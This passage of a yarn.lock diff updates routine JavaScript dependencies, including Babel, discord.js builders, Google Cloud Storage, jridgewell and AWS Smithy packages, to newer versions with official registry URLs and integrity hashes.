-  integrity sha512-dSOvYwvyLsWBeIRyOeHXp5vPj5l1I011r52FM1+r1jCERv+aFXYk4whgQccYEGYxK2H3ZAIA8nuPkQ0HaUo3qg==
+"@babel/helper-module-transforms@^7.28.3":
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz#a2b37d3da3b2344fe085dab234426f2b9a2fa5f6"
+  integrity sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==
   dependencies:
     "@babel/helper-module-imports" "^7.27.1"
     "@babel/helper-validator-identifier" "^7.27.1"
-    "@babel/traverse" "^7.27.3"
+    "@babel/traverse" "^7.28.3"
 
 "@babel/helper-plugin-utils@^7.27.1":
   version "7.27.1"
@@ -584,13 +584,13 @@
   resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz#fa52f5b1e7db1ab049445b421c4471303897702f"
   integrity sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==
 
-"@babel/helpers@^7.27.6":
-  version "7.27.6"
-  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.27.6.tgz#6456fed15b2cb669d2d1fabe84b66b34991d812c"
-  integrity sha512-muE8Tt8M22638HU31A3CgfSUciwz1fhATfoVai05aPXGor//CdWDCbnlY1yvBPo07njuVOCNGCSp/GTt12lIug==
+"@babel/helpers@^7.28.3":
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.28.3.tgz#b83156c0a2232c133d1b535dd5d3452119c7e441"
+  integrity sha512-PTNtvUQihsAsDHMOP5pfobP8C6CM4JWXmP8DrEIt46c3r2bf87Ua1zoqevsMo9g+tWDwgWrFP5EIxuBx5RudAw==
   dependencies:
     "@babel/template" "^7.27.2"
-    "@babel/types" "^7.27.6"
+    "@babel/types" "^7.28.2"
 
 "@babel/node@^7.16.5":
   version "7.28.0"
@@ -604,12 +604,12 @@
     regenerator-runtime "^0.14.0"
     v8flags "^3.1.1"
 
-"@babel/parser@^7.27.2", "@babel/parser@^7.28.0", "@babel/parser@^7.4.3":
-  version "7.28.0"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.28.0.tgz#979829fbab51a29e13901e5a80713dbcb840825e"
-  integrity sha512-jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==
+"@babel/parser@^7.27.2", "@babel/parser@^7.28.3", "@babel/parser@^7.4.3":
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.28.3.tgz#d2d25b814621bca5fe9d172bc93792547e7a2a71"
+  integrity sha512-7+Ey1mAgYqFAx2h0RuoxcQT5+MlG3GTV0TQrgr7/ZliKsm/MNDxVVutlWaziMq7wJNAz8MTqz55XLpWvva6StA==
   dependencies:
-    "@babel/types" "^7.28.0"
+    "@babel/types" "^7.28.2"
 
 "@babel/plugin-syntax-jsx@^7.27.1":
   version "7.27.1"
@@ -630,9 +630,9 @@
     "@babel/types" "^7.27.1"
 
 "@babel/register@^7.27.1":
-  version "7.27.1"
-  resolved "https://registry.yarnpkg.com/@babel/register/-/register-7.27.1.tgz#ea4d701649d788d7cb8a064b7540fd21083147f1"
-  integrity sha512-K13lQpoV54LATKkzBpBAEu1GGSIRzxR9f4IN4V8DCDgiUMo2UDGagEZr3lPeVNJPLkWUi5JE4hCHKneVTwQlYQ==
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/register/-/register-7.28.3.tgz#abd8a3753480c799bdaf9c9092d6745d16e052c2"
+  integrity sha512-CieDOtd8u208eI49bYl4z1J22ySFw87IGwE+IswFEExH7e3rLgKb0WNQeumnacQ1+VoDJLYI5QFA3AJZuyZQfA==
   dependencies:
     clone-deep "^4.0.1"
     find-cache-dir "^2.0.0"
@@ -649,23 +649,23 @@
     "@babel/parser" "^7.27.2"
     "@babel/types" "^7.27.1"
 
-"@babel/traverse@^7.27.1", "@babel/traverse@^7.27.3", "@babel/traverse@^7.28.0", "@babel/traverse@^7.4.3":
-  version "7.28.0"
-  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.28.0.tgz#518aa113359b062042379e333db18380b537e34b"
-  integrity sha512-mGe7UK5wWyh0bKRfupsUchrQGqvDbZDbKJw+kcRGSmdHVYrv+ltd0pnpDTVpiTqnaBru9iEvA8pz8W46v0Amwg==
+"@babel/traverse@^7.27.1", "@babel/traverse@^7.28.3", "@babel/traverse@^7.4.3":
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.28.3.tgz#6911a10795d2cce43ec6a28cffc440cca2593434"
+  integrity sha512-7w4kZYHneL3A6NP2nxzHvT3HCZ7puDZZjFMqDpBPECub79sTtSO5CGXDkKrTQq8ksAwfD/XI2MRFX23njdDaIQ==
   dependencies:
     "@babel/code-frame" "^7.27.1"
-    "@babel/generator" "^7.28.0"
+    "@babel/generator" "^7.28.3"
     "@babel/helper-globals" "^7.28.0"
-    "@babel/parser" "^7.28.0"
+    "@babel/parser" "^7.28.3"
     "@babel/template" "^7.27.2"
-    "@babel/types" "^7.28.0"
+    "@babel/types" "^7.28.2"
     debug "^4.3.1"
 
-"@babel/types@^7.27.1", "@babel/types@^7.27.3", "@babel/types@^7.27.6", "@babel/types@^7.28.0", "@babel/types@^7.4.0":
-  version "7.28.1"
-  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.28.1.tgz#2aaf3c10b31ba03a77ac84f52b3912a0edef4cf9"
-  integrity sha512-x0LvFTekgSX+83TI28Y9wYPUfzrnl2aT5+5QLnO6v7mSJYtEEevuDRN0F0uSHRk1G1IWZC43o00Y0xDDrpBGPQ==
+"@babel/types@^7.27.1", "@babel/types@^7.27.3", "@babel/types@^7.28.2", "@babel/types@^7.4.0":
+  version "7.28.2"
+  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.28.2.tgz#da9db0856a9a88e0a13b019881d7513588cf712b"
+  integrity sha512-ruv7Ae4J5dUYULmeXw1gmb7rYRz57OWCPM57pHojnLq/3Z1CK2lNSLTCVjxVk1F/TZHwOZZrOWi0ur95BbLxNQ==
   dependencies:
     "@babel/helper-string-parser" "^7.27.1"
     "@babel/helper-validator-identifier" "^7.27.1"
@@ -708,14 +708,14 @@
     kuler "^2.0.0"
 
 "@discordjs/builders@^1.3.0":
-  version "1.11.2"
-  resolved "https://registry.yarnpkg.com/@discordjs/builders/-/builders-1.11.2.tgz#b96185d05d22f9d6bde89aada2decf45a5c982ce"
-  integrity sha512-F1WTABdd8/R9D1icJzajC4IuLyyS8f3rTOz66JsSI3pKvpCAtsMBweu8cyNYsIyvcrKAVn9EPK+Psoymq+XC0A==
+  version "1.11.3"
+  resolved "https://registry.yarnpkg.com/@discordjs/builders/-/builders-1.11.3.tgz#14b8b027e16b73136924faecaf1819b94711647c"
+  integrity sha512-p3kf5eV49CJiRTfhtutUCeivSyQ/l2JlKodW1ZquRwwvlOWmG9+6jFShX6x8rUiYhnP6wKI96rgN/SXMy5e5aw==
   dependencies:
     "@discordjs/formatters" "^0.6.1"
     "@discordjs/util" "^1.1.1"
     "@sapphire/shapeshift" "^4.0.0"
-    discord-api-types "^0.38.1"
+    discord-api-types "^0.38.16"
     fast-deep-equal "^3.1.3"
     ts-mixer "^6.0.4"
     tslib "^2.6.3"
@@ -775,9 +775,9 @@
   integrity sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==
 
 "@fastify/busboy@^3.0.0":
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/@fastify/busboy/-/busboy-3.1.1.tgz#af3aea7f1e52ec916d8b5c9dcc0f09d4c060a3fc"
-  integrity sha512-5DGmA8FTdB2XbDeEwc/5ZXBl6UbBAyBOOLlPuBnZ/N1SwdH9Ii+cOX3tBROlDgcTXxjOYnLMVoKk9+FXAw0CJw==
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/@fastify/busboy/-/busboy-3.2.0.tgz#13ed8212f3b9ba697611529d15347f8528058cea"
+  integrity sha512-m9FVDXU3GT2ITSe0UaMA5rU3QkfC/UXtCU8y0gSN/GugTqtVldOBWIB5V6V3sbmenVZUIpU6f+mPEO2+m5iTaA==
 
 "@firebase/app-check-interop-types@0.3.2":
   version "0.3.2"
@@ -884,9 +884,9 @@
   integrity sha512-Orxzlfb9c67A15cq2JQEyVc7wEsmFBmHjZWZYQMUyJ1qivXyMwdyNOs9odi79hze+2zqdTtu1E19IM/FtqZ10g==
 
 "@google-cloud/storage@^7.7.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@google-cloud/storage/-/storage-7.16.0.tgz#62c04ee4f80190992ef06cb033a90c054bcea575"
-  integrity sha512-7/5LRgykyOfQENcm6hDKP8SX/u9XxE5YOiWOkgkwcoO+cG8xT/cyOvp9wwN3IxfdYgpHs8CE7Nq2PKX2lNaEXw==
+  version "7.17.0"
+  resolved "https://registry.yarnpkg.com/@google-cloud/storage/-/storage-7.17.0.tgz#1d238f54a0932f36c2364ec9babded218edd7d53"
+  integrity sha512-5m9GoZqKh52a1UqkxDBu/+WVFDALNtHg5up5gNmNbXQWBcV813tzJKsyDtKjOPrlR1em1TxtD7NSPCrObH7koQ==
   dependencies:
     "@google-cloud/paginator" "^5.0.0"
     "@google-cloud/projectify" "^4.0.0"
@@ -947,9 +947,9 @@
     wrap-ansi-cjs "npm:wrap-ansi@^7.0.0"
 
 "@jridgewell/gen-mapping@^0.3.12", "@jridgewell/gen-mapping@^0.3.5":
-  version "0.3.12"
-  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.12.tgz#2234ce26c62889f03db3d7fea43c1932ab3e927b"
-  integrity sha512-OuLGC46TjB5BbN1dH8JULVVZY4WTdkF7tV9Ys6wLL1rubZnCMstOhNHueU5bLCrnRuDhKPDM4g6sw4Bel5Gzqg==
+  version "0.3.13"
+  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz#6342a19f44347518c93e43b1ac69deb3c4656a1f"
+  integrity sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==
   dependencies:
     "@jridgewell/sourcemap-codec" "^1.5.0"
     "@jridgewell/trace-mapping" "^0.3.24"
@@ -960,22 +960,22 @@
   integrity sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==
 
 "@jridgewell/source-map@^0.3.3":
-  version "0.3.10"
-  resolved "https://registry.yarnpkg.com/@jridgewell/source-map/-/source-map-0.3.10.tgz#a35714446a2e84503ff9bfe66f1d1d4846f2075b"
-  integrity sha512-0pPkgz9dY+bijgistcTTJ5mR+ocqRXLuhXHYdzoMmmoJ2C9S46RCm2GMUbatPEUK9Yjy26IrAy8D/M00lLkv+Q==
+  version "0.3.11"
+  resolved "https://registry.yarnpkg.com/@jridgewell/source-map/-/source-map-0.3.11.tgz#b21835cbd36db656b857c2ad02ebd413cc13a9ba"
+  integrity sha512-ZMp1V8ZFcPG5dIWnQLr3NSI1MiCU7UETdS/A0G8V/XWHvJv3ZsFqutJn1Y5RPmAPX6F3BiE397OqveU/9NCuIA==
   dependencies:
     "@jridgewell/gen-mapping" "^0.3.5"
     "@jridgewell/trace-mapping" "^0.3.25"
 
 "@jridgewell/sourcemap-codec@^1.4.14", "@jridgewell/sourcemap-codec@^1.5.0":
-  version "1.5.4"
-  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.4.tgz#7358043433b2e5da569aa02cbc4c121da3af27d7"
-  integrity sha512-VT2+G1VQs/9oz078bLrYbecdZKs912zQlkelYpuf+SXF+QvZDYJlbx/LSx+meSAwdDFnF8FVXW92AVjjkVmgFw==
+  version "1.5.5"
+  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz#6912b00d2c631c0d15ce1a7ab57cd657f2a8f8ba"
+  integrity sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==
 
 "@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.25", "@jridgewell/trace-mapping@^0.3.28":
-  version "0.3.29"
-  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz#a58d31eaadaf92c6695680b2e1d464a9b8fbf7fc"
-  integrity sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==
+  version "0.3.30"
+  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.30.tgz#4a76c4daeee5df09f5d3940e087442fb36ce2b99"
+  integrity sha512-GQ7Nw5G2lTu/BtHTKfXhKHok2WGetd4XYcVKGx00SjAk8GMwgJM3zr6zORiPGuOE+/vkc90KtTosSSvaCjKb2Q==
   dependencies:
     "@jridgewell/resolve-uri" "^3.1.0"
     "@jridgewell/sourcemap-codec" "^1.4.14"
@@ -1221,78 +1221,80 @@
   resolved "https://registry.yarnpkg.com/@sideway/pinpoint/-/pinpoint-2.0.0.tgz#cff8ffadc372ad29fd3f78277aeb29e632cc70df"
   integrity sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==
 
-"@smithy/abort-controller@^4.0.4":
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/abort-controller/-/abort-controller-4.0.4.tgz#ab991d521fc78b5c7f24907fcd6803c0f2da51d9"
-  integrity sha512-gJnEjZMvigPDQWHrW3oPrFhQtkrgqBkyjj3pCIdF3A5M6vsZODG93KNlfJprv6bp4245bdT32fsHK4kkH3KYDA==
+"@smithy/abort-controller@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/abort-controller/-/abort-controller-4.0.5.tgz#2872a12d0f11dfdcc4254b39566d5f24ab26a4ab"
+  integrity sha512-jcrqdTQurIrBbUm4W2YdLVMQDoL0sA9DTxYd2s+R/y+2U9NLOP7Xf/YqfSg1FZhlZIYEnvk2mwbyvIfdLEPo8g==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/config-resolver@^4.1.4":
-  version "4.1.4"
-  resolved "https://registry.yarnpkg.com/@smithy/config-resolver/-/config-resolver-4.1.4.tgz#05d8eab8bb8eb73bec90c222fc19ac5608b1384e"
-  integrity sha512-prmU+rDddxHOH0oNcwemL+SwnzcG65sBF2yXRO7aeXIn/xTlq2pX7JLVbkBnVLowHLg4/OL4+jBmv9hVrVGS+w==
+"@smithy/config-resolver@^4.1.5":
+  version "4.1.5"
+  resolved "https://registry.yarnpkg.com/@smithy/config-resolver/-/config-resolver-4.1.5.tgz#3cb7cde8d13ca64630e5655812bac9ffe8182469"
+  integrity sha512-viuHMxBAqydkB0AfWwHIdwf/PRH2z5KHGUzqyRtS/Wv+n3IHI993Sk76VCA7dD/+GzgGOmlJDITfPcJC1nIVIw==
   dependencies:
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/types" "^4.3.1"
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/types" "^4.3.2"
     "@smithy/util-config-provider" "^4.0.0"
-    "@smithy/util-middleware" "^4.0.4"
+    "@smithy/util-middleware" "^4.0.5"
     tslib "^2.6.2"
 
-"@smithy/core@^3.7.0", "@smithy/core@^3.7.1":
-  version "3.7.1"
-  resolved "https://registry.yarnpkg.com/@smithy/core/-/core-3.7.1.tgz#7f47fc1ec93f20b686d007a7d667a02de8b86219"
-  integrity sha512-ExRCsHnXFtBPnM7MkfKBPcBBdHw1h/QS/cbNw4ho95qnyNHvnpmGbR39MIAv9KggTr5qSPxRSEL+hRXlyGyGQw==
+"@smithy/core@^3.8.0":
+  version "3.8.0"
+  resolved "https://registry.yarnpkg.com/@smithy/core/-/core-3.8.0.tgz#321d03564b753025b92e4476579efcd5c505ab1f"
+  integrity sha512-EYqsIYJmkR1VhVE9pccnk353xhs+lB6btdutJEtsp7R055haMJp2yE16eSxw8fv+G0WUY6vqxyYOP8kOqawxYQ==
   dependencies:
-    "@smithy/middleware-serde" "^4.0.8"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/types" "^4.3.1"
+    "@smithy/middleware-serde" "^4.0.9"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/types" "^4.3.2"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
-    "@smithy/util-middleware" "^4.0.4"
-    "@smithy/util-stream" "^4.2.3"
+    "@smithy/util-middleware" "^4.0.5"
+    "@smithy/util-stream" "^4.2.4"
     "@smithy/util-utf8" "^4.0.0"
+    "@types/uuid" "^9.0.1"
+    tslib "^2.6.2"
+    uuid "^9.0.1"
+
+"@smithy/credential-provider-imds@^4.0.7":
+  version "4.0.7"
+  resolved "https://registry.yarnpkg.com/@smithy/credential-provider-imds/-/credential-provider-imds-4.0.7.tgz#d8bb566ffd8d9e556810b83d6e0b01b39036b810"
+  integrity sha512-dDzrMXA8d8riFNiPvytxn0mNwR4B3h8lgrQ5UjAGu6T9z/kRg/Xncf4tEQHE/+t25sY8IH3CowcmWi+1U5B1Gw==
+  dependencies:
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/types" "^4.3.2"
+    "@smithy/url-parser" "^4.0.5"
     tslib "^2.6.2"
 
-"@smithy/credential-provider-imds@^4.0.6":
-  version "4.0.6"
-  resolved "https://registry.yarnpkg.com/@smithy/credential-provider-imds/-/credential-provider-imds-4.0.6.tgz#4cfd79a619cdbc9a75fcdc51a1193685f6a8944e"
-  integrity sha512-hKMWcANhUiNbCJouYkZ9V3+/Qf9pteR1dnwgdyzR09R4ODEYx8BbUysHwRSyex4rZ9zapddZhLFTnT4ZijR4pw==
+"@smithy/fetch-http-handler@^5.1.1":
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/@smithy/fetch-http-handler/-/fetch-http-handler-5.1.1.tgz#a444c99bffdf314deb447370429cc3e719f1a866"
+  integrity sha512-61WjM0PWmZJR+SnmzaKI7t7G0UkkNFboDpzIdzSoy7TByUzlxo18Qlh9s71qug4AY4hlH/CwXdubMtkcNEb/sQ==
   dependencies:
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/types" "^4.3.1"
-    "@smithy/url-parser" "^4.0.4"
-    tslib "^2.6.2"
-
-"@smithy/fetch-http-handler@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@smithy/fetch-http-handler/-/fetch-http-handler-5.1.0.tgz#387abd9ec6c8ff0af33b268c0f6ccb289c1b1563"
-  integrity sha512-mADw7MS0bYe2OGKkHYMaqarOXuDwRbO6ArD91XhHcl2ynjGCFF+hvqf0LyQcYxkA1zaWjefSkU7Ne9mqgApSgQ==
-  dependencies:
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/querystring-builder" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/querystring-builder" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     "@smithy/util-base64" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/hash-node@^4.0.4":
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/hash-node/-/hash-node-4.0.4.tgz#f867cfe6b702ed8893aacd3e097f8ca8ecba579e"
-  integrity sha512-qnbTPUhCVnCgBp4z4BUJUhOEkVwxiEi1cyFM+Zj6o+aY8OFGxUQleKWq8ltgp3dujuhXojIvJWdoqpm6dVO3lQ==
+"@smithy/hash-node@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/hash-node/-/hash-node-4.0.5.tgz#16cf8efe42b8b611b1f56f78464b97b27ca6a3ec"
+  integrity sha512-cv1HHkKhpyRb6ahD8Vcfb2Hgz67vNIXEp2vnhzfxLFGRukLCNEA5QdsorbUEzXma1Rco0u3rx5VTqbM06GcZqQ==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
     "@smithy/util-buffer-from" "^4.0.0"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/invalid-dependency@^4.0.4":
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/invalid-dependency/-/invalid-dependency-4.0.4.tgz#8c2c539b2f22e857b4652bd2427a3d7a8befd610"
-  integrity sha512-bNYMi7WKTJHu0gn26wg8OscncTt1t2b8KcsZxvOv56XA6cyXtOAAAaNP7+m45xfppXfOatXF3Sb1MNsLUgVLTw==
+"@smithy/invalid-dependency@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/invalid-dependency/-/invalid-dependency-4.0.5.tgz#ed88e209668266b09c4b501f9bd656728b5ece60"
+  integrity sha512-IVnb78Qtf7EJpoEVo7qJ8BEXQwgC4n3igeJNNKEj/MLYtapnx8A67Zt/J3RXAj2xSO1910zk0LdFiygSemuLow==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
 "@smithy/is-array-buffer@^2.2.0":
@@ -1309,171 +1311,172 @@
   dependencies:
     tslib "^2.6.2"
 
-"@smithy/middleware-content-length@^4.0.4":
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-content-length/-/middleware-content-length-4.0.4.tgz#fad1f125779daf8d5f261dae6dbebba0f60c234b"
-  integrity sha512-F7gDyfI2BB1Kc+4M6rpuOLne5LOcEknH1n6UQB69qv+HucXBR1rkzXBnQTB2q46sFy1PM/zuSJOB532yc8bg3w==
+"@smithy/middleware-content-length@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-content-length/-/middleware-content-length-4.0.5.tgz#c5d6e47f5a9fbba20433602bec9bffaeeb821ff3"
+  integrity sha512-l1jlNZoYzoCC7p0zCtBDE5OBXZ95yMKlRlftooE5jPWQn4YBPLgsp+oeHp7iMHaTGoUdFqmHOPa8c9G3gBsRpQ==
   dependencies:
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/types" "^4.3.1"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/middleware-endpoint@^4.1.15", "@smithy/middleware-endpoint@^4.1.16":
-  version "4.1.16"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-endpoint/-/middleware-endpoint-4.1.16.tgz#d0fea3683659289974a87afb089e5f38575f96c0"
-  integrity sha512-plpa50PIGLqzMR2ANKAw2yOW5YKS626KYKqae3atwucbz4Ve4uQ9K9BEZxDLIFmCu7hKLcrq2zmj4a+PfmUV5w==
+"@smithy/middleware-endpoint@^4.1.18":
+  version "4.1.18"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-endpoint/-/middleware-endpoint-4.1.18.tgz#81b2f85e3c72b0f1a2d8776e01b0a2968af62c0a"
+  integrity sha512-ZhvqcVRPZxnZlokcPaTwb+r+h4yOIOCJmx0v2d1bpVlmP465g3qpVSf7wxcq5zZdu4jb0H4yIMxuPwDJSQc3MQ==
   dependencies:
-    "@smithy/core" "^3.7.1"
-    "@smithy/middleware-serde" "^4.0.8"
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/shared-ini-file-loader" "^4.0.4"
-    "@smithy/types" "^4.3.1"
-    "@smithy/url-parser" "^4.0.4"
-    "@smithy/util-middleware" "^4.0.4"
+    "@smithy/core" "^3.8.0"
+    "@smithy/middleware-serde" "^4.0.9"
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/shared-ini-file-loader" "^4.0.5"
+    "@smithy/types" "^4.3.2"
+    "@smithy/url-parser" "^4.0.5"
+    "@smithy/util-middleware" "^4.0.5"
     tslib "^2.6.2"
 
-"@smithy/middleware-retry@^4.1.16":
-  version "4.1.17"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-retry/-/middleware-retry-4.1.17.tgz#5a7aa2547918422e3a8747520900c2fd26a43328"
-  integrity sha512-gsCimeG6BApj0SBecwa1Be+Z+JOJe46iy3B3m3A8jKJHf7eIihP76Is4LwLrbJ1ygoS7Vg73lfqzejmLOrazUA==
+"@smithy/middleware-retry@^4.1.19":
+  version "4.1.19"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-retry/-/middleware-retry-4.1.19.tgz#19c013c1a548e1185cc1bfabfab3f498667c9e89"
+  integrity sha512-X58zx/NVECjeuUB6A8HBu4bhx72EoUz+T5jTMIyeNKx2lf+Gs9TmWPNNkH+5QF0COjpInP/xSpJGJ7xEnAklQQ==
   dependencies:
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/service-error-classification" "^4.0.6"
-    "@smithy/smithy-client" "^4.4.8"
-    "@smithy/types" "^4.3.1"
-    "@smithy/util-middleware" "^4.0.4"
-    "@smithy/util-retry" "^4.0.6"
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/service-error-classification" "^4.0.7"
+    "@smithy/smithy-client" "^4.4.10"
+    "@smithy/types" "^4.3.2"
+    "@smithy/util-middleware" "^4.0.5"
+    "@smithy/util-retry" "^4.0.7"
+    "@types/uuid" "^9.0.1"
     tslib "^2.6.2"
     uuid "^9.0.1"
 
-"@smithy/middleware-serde@^4.0.8":
-  version "4.0.8"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-serde/-/middleware-serde-4.0.8.tgz#3704c8cc46acd0a7f910a78ee1d2f23ce928701f"
-  integrity sha512-iSSl7HJoJaGyMIoNn2B7czghOVwJ9nD7TMvLhMWeSB5vt0TnEYyRRqPJu/TqW76WScaNvYYB8nRoiBHR9S1Ddw==
+"@smithy/middleware-serde@^4.0.9":
+  version "4.0.9"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-serde/-/middleware-serde-4.0.9.tgz#71213158bb11c1d632829001ca3f233323fb2a7c"
+  integrity sha512-uAFFR4dpeoJPGz8x9mhxp+RPjo5wW0QEEIPPPbLXiRRWeCATf/Km3gKIVR5vaP8bN1kgsPhcEeh+IZvUlBv6Xg==
   dependencies:
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/types" "^4.3.1"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/middleware-stack@^4.0.4":
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-stack/-/middleware-stack-4.0.4.tgz#58e0c6a0d7678c6ad4d6af8dd9a00f749ffac7c5"
-  integrity sha512-kagK5ggDrBUCCzI93ft6DjteNSfY8Ulr83UtySog/h09lTIOAJ/xUSObutanlPT0nhoHAkpmW9V5K8oPyLh+QA==
+"@smithy/middleware-stack@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-stack/-/middleware-stack-4.0.5.tgz#577050d4c0afe816f1ea85f335b2ef64f73e4328"
+  integrity sha512-/yoHDXZPh3ocRVyeWQFvC44u8seu3eYzZRveCMfgMOBcNKnAmOvjbL9+Cp5XKSIi9iYA9PECUuW2teDAk8T+OQ==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/node-config-provider@^4.1.3":
-  version "4.1.3"
-  resolved "https://registry.yarnpkg.com/@smithy/node-config-provider/-/node-config-provider-4.1.3.tgz#6626fe26c6fe7b0df34f71cb72764ccba414a815"
-  integrity sha512-HGHQr2s59qaU1lrVH6MbLlmOBxadtzTsoO4c+bF5asdgVik3I8o7JIOzoeqWc5MjVa+vD36/LWE0iXKpNqooRw==
+"@smithy/node-config-provider@^4.1.4":
+  version "4.1.4"
+  resolved "https://registry.yarnpkg.com/@smithy/node-config-provider/-/node-config-provider-4.1.4.tgz#42f231b7027e5a7ce003fd80180e586fe814944a"
+  integrity sha512-+UDQV/k42jLEPPHSn39l0Bmc4sB1xtdI9Gd47fzo/0PbXzJ7ylgaOByVjF5EeQIumkepnrJyfx86dPa9p47Y+w==
   dependencies:
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/shared-ini-file-loader" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/shared-ini-file-loader" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/node-http-handler@^4.1.0":
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/@smithy/node-http-handler/-/node-http-handler-4.1.0.tgz#6b528cd0da0c35755b34afba207b7db972b0eb92"
